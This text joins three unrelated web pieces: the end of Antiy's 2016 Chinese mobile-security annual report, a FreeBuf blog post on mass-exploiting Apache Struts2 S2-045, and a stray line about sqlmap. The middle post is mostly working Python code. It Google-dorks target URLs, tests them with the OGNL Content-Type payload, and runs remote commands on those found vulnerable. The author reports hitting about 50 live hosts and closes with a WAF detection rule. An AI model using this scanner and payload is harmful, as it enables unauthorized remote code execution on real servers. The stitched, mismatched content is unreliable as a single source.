从习近平总书记4.19讲话提出“树立正确网络安全观” “安全发展同步推进”到《中华人民共和国网络安全法》正式表决通过,国家增加了多项促进网络安全的措施,推进了网络安全的发展。这些指示和立法推动,无疑给包括移动安全在内的网络安全领域提供了顶层设计指导。 安全领域建设离不开合理的立法和标准的指导。在完善网络法律法规的同时,监管部门应同时对互联网相关的法律法规进行大力宣传,培养网民的法制观念,提高防范意识,并提倡规范办网、文明用网,推动全民共同维护移动安全环境,从根源上有效遏制移动威胁。 在体系建设上,应积极建立和落实移动互联网整体安全态势感知和预警体系,实现对移动安全领域全局态势的感知,加强对威胁情况的预警;加大对移动互联网基础设施的安全防御体系建设,提升对关键基础设施包括移动设备供应链、网络服务商、应用提供商等的安全督导;加强移动安全在网络安全全局体系中的角色和比重,对新型安全威胁给予必要的关注,争取通过防治结合的手段在威胁发展的早期予以扑灭。 在行业协作和技术手段引进上,以技术和管理结合来治理移动威胁问题。积极推动和引导安全企业提供更好的技术手段,参与行业安全的共同治理。以移动“钓鱼”和移动诈骗这类威胁应对为例,多部门联合打击“钓鱼网站”,引导相关部门、企业建立联合的“反钓鱼”,“反欺诈”平台并形成互动对接和信息共享机制。实现官方“打钓” 与非官方“打钓”的优势互补,达到快速、及时的应对和处置效果。鼓励更多的移动互联网企业加入来促进联合平台的发展。同时,还应加强运营商、金融机构等行业与执法机关的合作与联动。

4.2 安全企业

移动安全领域作为安全领域中一块相对较新的领域,经过了6年多的行业发展,逐渐成为安全领域的重要组成部分。在恶意威胁检测等核心技术领域,一大批安全企业持续加强投入,不断应对新型恶意代码、新型漏洞和新型攻击手段的挑战。在安全管理等泛安全领域,逐渐形成了设备管理、应用管理、用户管理等多层次的安全管理方案,安全加密、安全加固等方案也在移动安全领域被广泛使用。通过近几年的努力,诸多安全技术已经运用到移动领域,为用户创造了较大的安全价值。 但正如前文反思,移动安全领域的诸多技术还需要进一步和个人的安全需求、企业组织的业务和数据安全需求相结合,才能让安全能力真正满足用户的安全诉求,最大程度的对抗安全威胁。目前在相对热门的威胁情报服务领域,安天移动安全自主研发了全球首个AVLInsight移动威胁情报服务平台,借助10年的移动威胁知识库积累、6亿多终端的覆盖,形成了定制化移动威胁情报的输出能力。我们坚持认为威胁情报需要与客户的真实安全诉求相结合,为客户提供符合其需要的、高价值、定制化的威胁情报。 随着移动安全重要性的日益提升,安全企业之间应借助威胁情报、产业合作等方式形成行业整体的安全协作和应对姿态,共同打击移动安全威胁。同时通过更多的产业合作,与职能部门、移动供应链、企业和个人用户等建立更加深入的合作和信任关系,共同维护移动安全环境。

4.3 供应链

从2012年到2016年移动安全威胁发展轨迹来看,攻击者对移动供应链从早期的App应用拓展到了如今的芯片、系统、网络等多个层面,移动安全威胁的乌云早已笼罩了整个移动供应链的上空。 从移动领域的自身特点来看,供应链安全是一个值得特别关注的问题。三星Note 7安全事件虽然不是一个信息安全问题,但其安全模型值得深思。韩国产品安全监管机构“技术标准局”对受损的Note7的分析发现,Note 7手机爆炸是因为电池问题而引发的。电池存在设计缺陷,即阳极凸起。该突起导致分离层破裂,并接触阴极材料,然后起火[24]。该事件最大的威胁在于移动设备的特性,导致类似安全威胁会对人、航空等周边环境造成危害。供应链的安全威胁可能经由移动设备进一步扩散。 供应链不同层次的移动威胁呈现不同的特点,整体来看,越底层威胁能力越强、事后处置链条越长、最终防御效果越差。从威胁防护来看,供应链不同层次厂商基于自身威胁特性建立针对性的防护方案。芯片和系统级的安全防护方案已经得到厂商的重视和采纳,并在实际生产中起到有效的防护效果。移动网络服务供应商作为供应链中重要的支撑环节,需要加强对于移动网络服务这类基础设施的防护能力,同时提高对于恶意利用移动网络服务行为的监测和处置能力。移动互联网服务供应商应结合自身业务特点,加强安全审查和管控,防范移动威胁对用户造成的损害。 供应链和服务提供商,可考虑通过对威胁展开前置防御和针对性防御,及早的在供应链和服务各环节引入安全解决方案,包括但不限于威胁检测、行为拦截和阻断、漏洞检测和补丁技术、系统加固和数据加密和网络检测等。通过安全解决方案的前置、早置,最大限度的辐射整个供应链环节,降低整体安全防御成本,提升整个供应链的安全性和安全效率。

4.4 个人

随着黑产从业者攻击策略和武器的进步,个人用户面临的移动安全威胁呈现频率逐渐上升、维度日益丰富、攻击愈加定制化的趋势,同时攻击的危害从早期的小金额话费扣除、流量损耗逐渐演变为目前的大金额现金损失、金融相关隐私泄露,移动终端用户的安全状况十分恶劣。 个人用户作为移动安全威胁最终危害的主体,对其所面临的移动安全威胁并不具备足够的认识,并具有安全意识弱、情报来源窄、防护手段弱的特点。基于个人移动安全威胁应对的难点,安天移动安全团队建议个人用户养成日常主动进行安全检测的习惯,同时建立安全的密码管理体系,避免因单点移动威胁造成大规模资金损失的情况。此外个人用户需要提高对移动安全事件的关注度和敏感度,对与个人关联的威胁事件进行紧急响应,做好事后止损的工作。

4.5 企业

随着移动办公、移动服务等业务的加强,各类企业、厂商在移动威胁的整体对应上,需要全面加强企业整体安全防控中对于移动安全的重视。 针对IT安全,要逐步将移动设备带来的威胁应对纳入企业安全威胁防控体系中,预防移动设备对原有企业IT安全带来的冲击。针对应用层风险加强应用管控,加强对正常应用的仿冒审查,加强对应用隐私泄漏的防范。针对系统层风险,加强系统权限管理,引入行为异常监测,防范未知安全风险。针对网络层风险,加强传统网络威胁向移动威胁的迁移,预防潜在的移动安全高级威胁。 需要特别说明的是,目前有不少企业的对外服务和核心业务主要以移动互联网为场景,目前这类企业遭受的移动威胁的影响也颇为严重,建议结合移动终端身份识别、移动终端环境安全检测以及积极建设面向业务的风控系统持续加强威胁对抗和响应能力。

5 预见

5.1 移动威胁进入APT时代

APT攻击的一个基本规律是:攻击是否会发生只与目标承载的资产价值和与更重要目标的关联度有关,而与攻击难度无关。这就使得当移动设备承载更多资产,当智能终端的使用者覆盖敏感人群或他们的亲朋好友时,面向智能终端的设备的APT系统性的产生就成为一种必然。 在移动互联网时代,移动智能终端已经高度映射和展现人的重要资产信息和身份信息,其中在移动终端上存储的短信、通讯录、照片、IM工具的聊天语音记录信息等等能够高度表现和描述人的身份、职务、社交圈、日常生活等信息,所以针对移动智能终端的攻击威胁是能够具备高度目标指向性的。在过去,诸如移动拦截马之类的威胁攻击都重点以手机用户的短信、手机联系人列表为窃取对象,并在地下黑色产业链形成了庞大的和身份高度映射的社工知识库,其中包括了姓名、手机号码、职务、日常信息、活动区域轨迹以及其社会关系,从而为移动APT攻击的前置准备和更精准的投放手段提供了极高的战术价值,并且对于整个APT战役的前置阶段来说,对攻击的重点目标人物或组织的情报收集和持久化监控也是具有高度战术意义的。 除此之外,移动设备同时还具备极高的便携性和跨网域的穿透能力。从2016年出现的一些不同动机的攻击技术,包括DressCode[7]通过移动设备形成对内网的攻击渗透能力和Switcher通过对终端所在网络的网关设备的攻击从而形成对网络的劫持能力,预示着通过移动设备作为攻击跳板,可以实现对企业内网、物联网甚至基础设施的攻击。 移动威胁会综合移动的高级攻击技术、移动互联网络的战略意义以及针对重点目标的战术价值为APT攻击组织提供更加丰富的攻击能力、攻击资源和战术思路。

5.2 隐私泄露导致移动威胁进一步加深

随着物联网、智慧城市的推进,摄像头、手机、可穿戴设备等智能硬件的普及,以及关系到大众民生的各种信息系统的互联互通,人们的生活方式都会网络化,所有主体的信息都会数字化,与此同时移动终端系统、物联网系统不断的被挖掘出高危漏洞,信息和数据泄露事件短期内看不到下降的趋势,个人隐私相关的数据泄露也将导致网络攻击威胁泛滥并且进一步的加深。 隐私泄露和移动攻击的泛滥和融合还会进一步加深,带来普遍的欺诈泛滥、威胁碎片的长尾化,对整个移动威胁的商业价值带来的长远影响。 对于这一问题,安天将在后续发布的“基础威胁年报”给予更多解读。

5.3 企业级场景的移动威胁会大量出现

当前面向个人的欺诈出现垂直化的增长、碎片化的攻击,显示恶意攻击者开始往垂直化和高价值方向的挖掘和转型。企业由于承载大量高价值信息和资产必然是恶意攻击者转型中瞄准的重要目标。 2016年出现了以移动应用作为中间跳板尝试对内网进行渗透,窃取内网的重要信息的恶意代码,同时,在年底出现了篡改用户手机连接的Wi-Fi路由器DNS进行流量劫持的移动恶意代码。移动终端、Wi-Fi路由都是当前针对企业场景攻击的重要的支撑点,当前大多企业对于移动威胁的检测和防御并没有引入有效的解决方案。从移动威胁的发展趋势来看,基于移动终端设备或应用的跳板攻击倾向性非常明显,将移动终端、应用当成关键的攻击载体,在不同场景下配合实施更有力的攻击是一种行之有效的思路。伴随着各种BYOD设备在企业办公中开始普及并广泛使用,2017年移动威胁在企业级场景中可能会出现一定规模的增长。

5.4 移动勒索应用或将持续进化和迁移

针对勒索软件,Google在Android6.0和7.0版本的系统中进行了安全性改进,现阶段的移动勒索软件当中使用到的技术手段在未来可能会逐步退出舞台。只要用户更新到最新的Android系统,即可在很大程度上抵御勒索软件产生的威胁。Google从系统源头上阻止了勒索软件的发展但是无法阻止恶意攻击者对攻击技术的进化升级。2017年移动勒索软件可能会向3个方向进化:与其它恶意攻击方式结合、通过蠕虫形式让勒索软件进行大面积传播、结合远程控制指令对更加精确性的攻击。Android端的勒索软件会包含PC端勒索程序或者携带物联网恶意软件,进行跨平台发展,尝试感染PC或者智能设备。攻击者信息更加匿名,此外,类似PC端的勒索软件恶意勒索时使用比特币作为货币,通过匿名网络支付比特币这种形态会向Android平台迁移。

5.5 业务欺诈威胁损害凸显

2016年的“3.15晚会”上,“刷单”等网络黑灰产进入公众视野。从今年公开报道的一些案例来看,“刷单”已经对电商行业、O2O平台、运营商以及各类商家的业务造成了一些影响,同时也对相关企业造成较大的经济损失。

图25.png

图25 业务欺诈案例

2016年在移动终端出现了不少“刷榜”、“刷单”类的恶意程序,也在一定程度上促长了“刷单”这类业务欺诈给企业带来的危害。 2016年7月出现了一类恶意推广刷榜的移动恶意代码“刷榜僵尸”[25]。该病毒在设备锁屏时对其进行Root,Root成功后向系统目录植入“刷榜僵尸”病毒,“刷榜僵尸”对指定应用在GooglePlay商店上进行恶意刷量,同时还会诱骗用户安装“下载者”病毒,“下载者”病毒会在设备屏幕亮起状态下弹出广告页面,若用户触碰广告页面,推广的应用将会自动安装运行。 2016年双十一之际,腾讯手机管家查获5款病毒刷单APP[26]。这批恶意应用属于外挂类软件,启动后会申请手机root权限,让卖家根据需要设置宝贝搜索,如关键字、浏览器、掌柜ID等,以及浏览时间、货比三家等浏览设置,同时还被植入其它类型的恶意病毒。 以上只是公开的“薅羊毛”案例当中的极少数代表案例,恶意“刷单”主要使用机器大规模的自动完成垃圾注册和登录,通过大量的恶意账号、手机号码、IP地址进行虚假交易,通过刷信用,买家套现等技术手段来套取利润。“刷单”产业链已经逐步职业化、专业化,在虚假交易产业链上,上下游分工明确,分工涉及手机服务商的验证、快递公司甚至欺诈团伙。互联网企业遭受的业务欺诈威胁问题已经开始凸显出来。

6 总结

过去几年,是中国移动网络产业高速领跑发展的时代。以移动支付、移动社交、移动商务等为代表的移动互联网应用水平已经走到世界前列,移动基础设施建设也正经历高速发展和更新换代的阶段,中国自主品牌的手机产量也已经跃居全球第一,中国手机品牌正在获得全球用户认可。伴随着中国移动产业和应用的高速发展,移动威胁快速滋长。巨大的用户基数、较高的应用水平、全新的业务探索都必然导致中国用户面临的移动安全威胁风险规模前所未有,手段持续泛化演化,模式关联复杂深远,受损范围广阔深远。我国移动产业的发展速度和覆盖广度已经决定了在移动安全体系的整体推进上我们已经没有可以全面师法的对象,也已经没有必要跟着硅谷的所谓创新实践亦步亦趋。我们一方面需要加强全球移动安全共识和协作,一方面更需要走出自己的科学化、体系化移动安全发展道路。 在2015年年报中,我们提出面对威胁精确化和离散化的现状,进一步加强用户侧对威胁的感知能力,可能是安全厂商的必由之路。通过威胁情报的分析、加工和分享,从而对威胁进行准确定性、定位、定量,来满足和解决特定用户群体所面对的特定安全威胁,提供对用户比较有效,甚至一劳永逸式的解决方案,这样的体系或许是未来的发展方向。过去的一年,我们继续致力于移动安全领域,加强对移动领域威胁的观察、感知、分析、追溯、处置和反思,持续以体系化的方式加强与移动威胁的对抗。这份年报也是我们持续观察和感知过程中的一些所见、所为和所思。 移动互联网在过去一年仍然面临着恶意应用的持续威胁,新增威胁继续涌现,威胁手段持续进化,攻击者加强仿冒、社工欺诈、勒索手段、权限冒用、开源组件恶意利用等攻击手段的使用。同时存量威胁依然泛滥,电信诈骗拦截马、扣费、流氓、色情等威胁仍在持续演化和进化。这些恶意应用威胁在当前整个传播链条监管尚不十分完善的安全防护背景下,依然会造成巨大的安全风险和资产损失,大多时候只能依靠普通用户的自我安全意识提升来抵御威胁。面对这些威胁,在威胁检测,工程化对抗和基于海量数据的威胁情报作业上,我们已经有了比较充分的准备,能够在威胁早期甚至威胁出现之前形成可防御的能力,但这些能力手段,与我国庞大的网络资产规模和用户体量相比,还有赖于通过和产业、用户的进一步联动更好的发挥作用,同时仍需要持续地与市场需求、商业规律结合以找到自身独特的价值和生存空间。 移动互联网系统也正经历着快速发展,网络制式、操作系统在短短几年间,发生多次代际升级和版本更新。沙盒、权限等安全机制的持续引入一定程度上对原有安全体系起到了增强作用,但由于威胁方式和手段的复杂多样,种类繁多,很多原有威胁手段依然有效,并进一步利用系统和网络的新特性新功能进行自我演进,比如传统恶作剧手段逐渐升级为勒索威胁、0-day甚至N-day漏洞攻击依然有效。从系统层面看,更多的还是依赖于更完善、全面、有效的整体安全规划和体系建设。在这个过程中需要系统规划和建设者与安全厂商密切协作,在系统的设计、实践中引入多种检测、防护、加固和阻断等安全手段和机制,在系统的使用中持续不断进行检测、阻断和升级完善。同时由于不同版本、地域、模式带来的碎片化问题,我们也在积极地通过归一化和定制化相结合、数据驱动和手段创新相适应的理念完善系统安全手段。 移动设备与传统设备的一个关键的不同是信息承载的类型和价值——移动设备上有着与人更直接关联的数据信息。在互联网、通信网、物联网甚至工控网不断连接和融合的时代,不论是移动设备、移动系统、移动应用中对个人信息的泄漏,还是来自个人PC、企业组织内部信息系统、互联网服务信息等渠道的个人信息泄漏,这些数据和信息流最终都有可能经由黑色产业链对移动安全中的个人和组织造成威胁。因此对移动安全而言,进一步加强信息流中的安全监管和防范非常必要。通过对短信钓鱼、应用隐私泄漏、网络隐私泄漏、电信诈骗等威胁检测手段和管控制度的加强,可以在移动终端这个信息流的最终环节起到有效的威胁防范作用,这对个人隐私安全乃至移动APT防御都将大有裨益。 移动安全体系的构建离不开移动产业供应链体系的协同。在供应链的设计、制造、销售、使用、回收等各个过程中,都有可能被引入安全威胁。每个环节被引入的安全威胁既有可能造成自身的安全损失,也有可能进一步造成其他环节的安全损失。因此通过芯片、设备、系统、应用、服务、网络等供应链中的各个环节加强安全手段,一方面可以有效对抗自身环节面对的安全威胁,另一方面也可以对其他环节的安全威胁起到防范作用。从威胁防护来看,安全厂商应该积极参与供应链的防护,为供应链中不同层次不同角色厂商提供基于威胁特性的针对性防护方案。针对芯片、系统等应该引入具有基础防御作用的安全方案,加强全局安全体系辐射作用;针对服务、网络等关键信息基础设施,应该加强对自身安全和信息流的防护,提供稳定安全的基础服务体系;针对应用、个人等,应该面向更具象的威胁提供检测和防护能力;通过不同环节的安全协作,增强整个供应链体系及其全生命周期的安全性,提升移动生态体系安全。 由于安全威胁的复杂性,安全体系建设的艰巨性,这份报告中的部分观点可能并不成熟,但我们会持续在移动安全领域耕耘,为更加安全的移动安全环境贡献自己的力量。在这个过程中,我们不仅会坚持对关键、基础、共性、领先技术手段的持续创新,也会更加积极的开展产业协作,同信息流和供应链中的所有角色一起建设更加完善的移动安全体系。 通过这些协作,我们坚信领先的安全技术能够转化为坚实的用户安全价值。我们将为用户提供更加有效的安全威胁情报,帮助用户掌握和感知威胁态势,同时为用户提供更加精准的安全解决方案,用领先的移动威胁检测和安全防护产品和服务,保护更多的用户。

7 典型的移动威胁事件时间轴

时间轴.png

图 26 2016典型的移动威胁事件表

附录一:参考资料

[1] 提权广告件PermAd分析报告http://blog.avlyun.com/?p=2228 [2] 利用社会工程学绕过Android安全机制的银行木马https://securelist.com/blog/mobile/75971/banking-trojan-gugi-evolves-to-bypass-android-6-protection/ [3] Android Doze机制与木马的绕过方式http://bobao.360.cn/learning/detail/3328.html [4] 2015年电信诈骗损失高达222亿 打击犯罪需要各方合力http://science.china.com.cn/2016-10/03/content_9070699.htm [5] 病毒四度升级:安天AVL Team揭露一例跨期两年的电信诈骗进化史http://blog.avlsec.com/?p=4248 [6] 腾讯移动安全实验室2016年第三季度手机安全报告http://slab.qq.com/news/authority/1520.html [7] DressCode以手机终端作为跳板实现对企业内网渗透http://blog.trendmicro.com/trendlabs-security-intelligence/dresscode-potential-impact-enterprises/ [8] switcher对移动终端通过Wi-Fi接入的路由器进行暴力破解登录并实现流量劫持https://securelist.com/blog/mobile/76969/switcher-android-joins-the-attack-the-router-club/ [9] 图片来源:Switcher攻击流程图https://securelist.com/blog/mobile/76969/switcher-android-joins-the-attack-the-router-club/ [10] 首个移动终端上的针对性攻击事件https://securelist.com/blog/incidents/35552/android-trojan-found-in-targeted-attack-58/ [11] 针对印度军方的“OperationC-Major”行动http://blog.trendmicro.com/trendlabs-security-intelligence/operation-c-major-actors-also-used-android-blackberry-mobile-spyware-targets/ [12] 针对iOS设备的APT攻击https://citizenlab.org/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/ [13] Android银行木马GM Bot源码已泄露,可免费在线下载http://bobao.360.cn/news/detail/2846.html [14] 针对移动银行和金融支付的持续黑产行动披露http://blog.avlsec.com/2016/04/3006/darkmobilebank/ [15] Flocker移动勒索软件感染智能电视http://blog.trendmicro.com/trendlabs-security-intelligence/flocker-ransomware-crosses-smart-tv/ [16] 第一个利用AppleDRM设计漏洞的iOS木马http://researchcenter.paloaltonetworks.com/2016/03/acedeceiver-first-ios-trojan-exploiting-apple-drm-design-flaws-to-infect-any-ios-device/ [17] 2016年iOS公开可利用漏洞总结https://jaq.alibaba.com/community/art/show?articleid=687 [18] 第三方公司解锁iPhonehttp://thehackernews.com/2016/03/unlock-terrorist-iPhone.html [19] AVTEST官网https://www.av-test.org/en/antivirus/mobile-devices/android/ [20] 百脑虫”手机病毒分析报告http://blogs.360.cn/360mobile/2016/01/06/analysis_of_bainaochong/ [21] 手机游戏之殇:被仿冒的不只是Pokemon Gohttp://blog.avlsec.com/2016/07/3381/pokemon-go/ [22] 脏牛漏洞https://dirtycow.ninja/ [23] Drammer漏洞https://www.vusec.net/projects/drammer/ [24] 韩监管机构认可Note 7爆炸原因 都是电池惹的祸 http://tech.sina.com.cn/t/2017-02-06/doc-ifyafcyw0422049.shtml [25] 拥有300万安装量的应用是如何恶意推广刷榜的?http://jaq.alibaba.com/community/art/show?spm=a313e.7916646.25000002.3.yG54pv&articleid=408 [26] 腾讯手机管家查获5款病毒刷单APPhttps://m.qq.com/security_lab/news_detail_382.html

附录二:关于安天移动安全

安天移动安全公司成立于2010年,是安天实验室旗下专注于移动互联网安全技术与安全产品研发的企业,旨在为全球移动终端用户和厂商提供专业的安全防护能力和解决方案。 安天移动安全公司核心产品体系为AVL Inside移动反病毒引擎和AVLInsight移动威胁情报平台。AVL Inside移动反病毒引擎曾以年度最高平均检出率荣获国际权威测评机构AV-TEST颁发的“移动设备最佳防护”奖项,实现中国安全厂商在全球顶级安全测评领域重量级奖项零的突破。AVLInsight是国内首个移动威胁情报平台,主要用于呈现移动威胁的高价值情报信息,通过对移动威胁的全面感知能力和快速分析响应能力,提供对抗移动威胁的预警和处置策略。 安天移动安全公司与国家互联网应急中心和泰尔终端实验室进行合作,为国家监管部门提供技术支撑;与OPPO、VIVO、小米MIUI、金立、阿里YunOS、步步高、努比亚、乐视、猎豹、LBE、安卓清理大师、AMC等国内外近百家知名厂商建立合作,为全球超过6亿终端用户保驾护航。 更多信息详见公司官网:www.avlsec.com

附录三:关于安天

安天从反病毒引擎研发团队起步,目前已发展成为以安天实验室为总部,以企业安全公司、移动安全公司为两翼的集团化安全企业。安天始终坚持以安全保障用户价值为企业信仰,崇尚自主研发创新,在安全检测引擎、移动安全、网络协议分析还原、动态分析、终端防护、虚拟化安全等方面形成了全能力链布局。安天的监控预警能力覆盖全国、产品与服务辐射多个国家。安天将大数据分析、安全可视化等方面的技术与产品体系有效结合,以海量样本自动化分析平台延展工程师团队作业能力、缩短产品响应周期。结合多年积累的海量安全威胁知识库,综合应用大数据分析、安全可视化等方面经验,推出了应对高级持续性威胁(APT)和面向大规模网络与关键基础设施的态势感知与监控预警解决方案。 全球近百家的著名安全厂商、IT厂商选择安天作为检测能力合作伙伴,安天的反病毒引擎得以为全球近十万台网络设备和网络安全设备、超过六亿部手机提供安全防护。安天移动检测引擎是全球首个获得AV-TEST年度奖项的中国产品。 安天技术实力得到行业管理机构、客户和伙伴的认可,安天已连续四届蝉联国家级安全应急支撑单位资质,亦是中国国家信息安全漏洞库六家首批一级支撑单位之一。 安天是中国应急响应体系中重要的企业节点,在红色代码、口令蠕虫、震网、破壳、沙虫、方程式等重大安全事件中,安天提供了先发预警、深度分析或系统的解决方案。
安天实验室更多信息请访问: http://www.antiy.com(中文) http://www.antiy.net (英文)
安天企业安全公司更多信息请访问: http://www.antiy.cn
安天移动安全公司(AVL TEAM)更多信息请访问: http://www.avlsec.com
*本文作者:AVLTeam,转载请注明来源:http://blog.avlsec.com/?p=4474

前言

S2-045远程代码执行漏洞的CNVD详细信息:http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474漏洞刚出现时候,Google随便搜索相关URL(filetype:action||ext:action),利用后发现有很多甚者使用ROOT用户启动Tomcat,啧啧啧。。。 目前,很多公司已经紧锣旗鼓地修复了漏洞,尽管如此,互联网上还是有大批未修复的目标。。。可能感觉无所谓吧 批量S2-045用python 2.7实现,代码共分三部分,比较糙,多指正。 
第一部分:从Google批量抓取目标URL; 第二部分:验证筛选存在漏洞的URL; 第三部分:远程命令执行

一、Google抓取URL

目标URL抓取,可能会被Google限制抓取次数,若有IP资源,可以不断更换代理、多线程抓取。 —keywords文件—–>抓取关键词,例如:filetype:action、ext:action —urser-agent文件—–>随机ua抓取 —urlresult文件—–>存储抓取的url
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Create by Meibenjin.
# Modified by William
# Last updated: 2017-03-10
# google search results crawler

import sys
import urllib2, socket, time
import gzip, StringIO
import re, random, types
from bs4 import BeautifulSoup

base_url = 'https://www.google.com.hk/'
results_per_page = 10
user_agents = list()

# results from the search engine
class SearchResult:
    def __init__(self):
        self.url = ''

    def getURL(self):
        return self.url

    def setURL(self, url):
        self.url = url

    def printIt(self, prefix=''):
        print 'url\t->', self.url

    def writeFile(self, filename):
        file = open(filename, 'a')
        try:
            file.write(self.url + '\n')
        except IOError, e:
            print 'file error:', e
        finally:
            file.close()

class GoogleAPI:
    def __init__(self):
        timeout = 40
        socket.setdefaulttimeout(timeout)

    def randomSleep(self):
        sleeptime = random.randint(60, 120)
        time.sleep(sleeptime)

    # extract a url from a link
    def extractUrl(self, href):
        url = ''
        pattern = re.compile(r'(http[s]?://[^&]+)&', re.U | re.M)
        url_match = pattern.search(href)
        if (url_match and url_match.lastindex > 0):
            url = url_match.group(1)
        return url

    # extract serach results list from downloaded html file
    def extractSearchResults(self, html):
        results = list()
        soup = BeautifulSoup(html, "html.parser")
        div = soup.find('div', id='search')
        if (type(div) != types.NoneType):
            #modify 'li' to 'div'
            lis = div.findAll('div', {'class': 'g'})
            if (len(lis) > 0):
                for li in lis:
                    result = SearchResult()
                    h3 = li.find('h3', {'class': 'r'})
                    if (type(h3) == types.NoneType):
                        continue
                    # extract url from h3 object
                    link = h3.find('a')
                    if (type(link) == types.NoneType):
                        continue
                    url = link['href']
                    url = self.extractUrl(url)
                    if (cmp(url, '') == 0):
                        continue
                    result.setURL(url)
                    results.append(result)
        return results

    # search web
    # @param query -> query key words
    # @param lang -> language of search results
    # @param num -> number of search results to return
    def search(self, query, lang='en', num=results_per_page):
        search_results = list()
        query = urllib2.quote(query)
        if (num % results_per_page == 0):
            pages = num / results_per_page
        else:
            pages = num / results_per_page + 1
        for p in range(0, pages):
            start = p * results_per_page
            url = '%s/search?hl=%s&num=%d&start=%s&q=%s' % (base_url, lang, results_per_page, start, query)
            retry = 3
            while (retry > 0):
                try:
                    request = urllib2.Request(url)
                    length = len(user_agents)
                    index = random.randint(0, length - 1)
                    user_agent = user_agents[index]
                    request.add_header('User-agent', user_agent)
                    request.add_header('connection', 'keep-alive')
                    request.add_header('Accept-Encoding', 'gzip')
                    request.add_header('referer', base_url)
                    response = urllib2.urlopen(request)
                    html = response.read()
                    if (response.headers.get('content-encoding', None) == 'gzip'):
                        html = gzip.GzipFile(fileobj=StringIO.StringIO(html)).read()
                    results = self.extractSearchResults(html)
                    search_results.extend(results)
                    break;
                except urllib2.URLError, e:
                    print 'url error:', e
                    self.randomSleep()
                    retry = retry - 1
                    continue
                except Exception, e:
                    print 'error:', e
                    retry = retry - 1
                    self.randomSleep()
                    continue
        return search_results

def load_user_agent():
    fp = open('./user_agents', 'r')
    line = fp.readline().strip('\n')
    while (line):
        user_agents.append(line)
        line = fp.readline().strip('\n')
    fp.close()

def crawler():
    # Load use agent string from file
    load_user_agent()

    # Create a GoogleAPI instance
    api = GoogleAPI()

    # set expect search results to be crawled
    expect_num = 100
    # if no parameters, read query keywords from file
    if (len(sys.argv) < 2):
        keywords = open('./keywords', 'r')
        keyword = keywords.readline()
        while (keyword):
            results = api.search(keyword, num=expect_num)
            for r in results:
                r.printIt()
                r.writeFile('urlresult')
            keyword = keywords.readline()
        keywords.close()
    else:
        keyword = sys.argv[1]
        results = api.search(keyword, num=expect_num)
        for r in results:
            r.printIt()
            r.writeFile('urlresult')

if __name__ == '__main__':
    crawler()

二、POC漏洞验证

验证是否有s2-045漏洞 —urlresult文件—–>已存储的抓取的url —detectreslut文件—–>存储验证成功的url
# -*- coding: utf-8 -*-

import urllib2

S2_045 = {"poc": "%{(#nikenb='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#[email protected]@getResponse().getWriter()).(#o.println('fuck')).(#o.close())}", "key": "fuck"}


def poccheck(timeout):
    urls = open('../GoogleSearch/urlresult', 'r')
    detectresults = open('./detectresult', 'w')
    for url in urls.readlines():
        url = url.strip('\n')
        url = url.split('%3F', 1)[0]
        request = urllib2.Request(url)
        request.add_header("Content-Type", S2_045["poc"])
        request.add_header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0")
        try:
            res_html = urllib2.urlopen(request, timeout=timeout).read(204800)
        except Exception,e:
            print 'exception:'+url
        if S2_045['key'] in res_html:
            print S2_045['key']+':'+url
            detectresults.write(url+'\n')
    urls.close()
    detectresults.close()

if __name__ == "__main__":
    print poccheck(10)

三、远程命令执行

在已发现的具有漏洞的URL基础上,执行远程命令。 代码中执行whoami,有的已验证漏洞URL,远程命令执行会捕获异常或返回html页面,猜测目标structs2并未修复,只是在应用层的检测和响应做出防御。 —detectreslut文件—–>已存储的验证成功的url —exploitresult文件—–>存储whoami执行结果
# -*- coding: utf-8 -*-

import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers

def exploit():
urls = open('../S2045Detection/detectresult', 'r')
exploitresults = open('./exploitresult', 'w')
for url in urls.readlines():
url = url.strip('\n')
register_openers()
datagen, header = multipart_encode({"image1": url})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nikenb='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+'whoami'+"').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(url,datagen,headers=header)
try:
response = urllib2.urlopen(request, timeout=10)
result = response.read(204800)
except Exception, e:
print 'exception:'+url
else:
if len(result) > 100:
print 'html:'+url
else:
print result.strip('\n')+':'+ url
exploitresults.write(result)
urls.close()
exploitresults.close()

if __name__ == "__main__":
exploit()

结果:
抓取不到300个URL就被Google返回503状态码,可以考虑付费API、更换代理、多进程进一步改进效率。 小范围统计,约200个目标URL,返回50个具有漏洞的URL。 远程命令执行,部分成功结果如下图所示。 微信截图_20170313135941.png 对于Linux系统,即使为非root用户,但结合本地提权漏洞(例如 dirtycown 之类的内核漏洞,对于多说生产环境的server,多数没有被修复),危害甚大。

关于防护:

除了升级到要求的struct2框架版本外,可以考虑暂时设置WAF规则拦截攻击行为。 附:Imperva WAF拦截规则
 Signature Pattern: part="Content-Type", part="multipart/form-data", part="_memberAccess", rgxp="^Content-Type\s*:[^\x0A\x0D]*multipart\/form-data[^\x0A\x0D]*_memberAccess"
 Protocols: http, https
 Search Signature In: Headers

referer:

https://github.com/meibenjin/GoogleSearchCrawler
https://github.com/ysrc/xunfeng/blob/master/vulscan/vuldb/st2_eval.py
*本文作者:wwwillgaiiam,转载请注明来自FreeBuf.COM

有许多工具可用于Web应用程序自动化测试。最著名的工具可能是sqlmap。 通过一些简单的命令,Sqlmap就可以轻松地识别和利用SQL注入漏洞。

图片.png

